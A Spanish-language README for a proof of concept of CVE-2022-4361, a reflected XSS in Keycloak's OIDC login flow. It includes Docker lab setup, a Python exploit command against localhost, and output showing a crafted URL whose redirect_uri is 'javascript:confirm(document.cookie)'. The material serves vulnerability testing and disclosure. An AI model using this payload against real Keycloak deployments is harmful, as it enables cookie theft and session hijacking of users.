
Prueba de concepto del exploit para CVE-2022-4361, una vulnerabilidad de XSS reflejado en el flujo de autenticación OIDC de Keycloak, con entorno de pruebas basado en Docker y script de exploit en Python.
Este repositorio contiene un PoC para CVE-2022-4361.
Todos los créditos son para el autor original del descubrimiento, mulliken.
IMPORTANTE: este PoC no está completo, ya que no cubre el caso del valor AssertionConsumerServiceURL en el protocolo de autenticación SAML. Actualmente, solo se cubre el caso OIDC.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Espere hasta que la infraestructura esté disponible y sea accesible.
Dado que en este PoC Keycloak no está integrado con ninguna aplicación web, es necesario especificar la URL completa de autenticación de Keycloak (una vez que el realm de prueba se haya configurado correctamente).
La vulnerabilidad en este entorno de prueba se puede probar con la siguiente URL.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
Se abrirá una ventana del navegador con la página de inicio de sesión maliciosa, como se muestra en la siguiente captura de pantalla.

Cuando una víctima proporciona credenciales válidas (disponibles en keycloak-config/test-realm.json) y hace clic en el botón Sign In, se entregará el ataque de XSS reflejado.
Cabe destacar que el ataque tiene éxito incluso si la víctima ya ha iniciado sesión en la aplicación.

* para redirect_uri en entornos de producción.Actualmente, este PoC solo cubre el caso de Keycloak configurado con un flujo de autenticación OIDC.
En las próximas versiones, se introducirá el protocolo de autenticación SAML.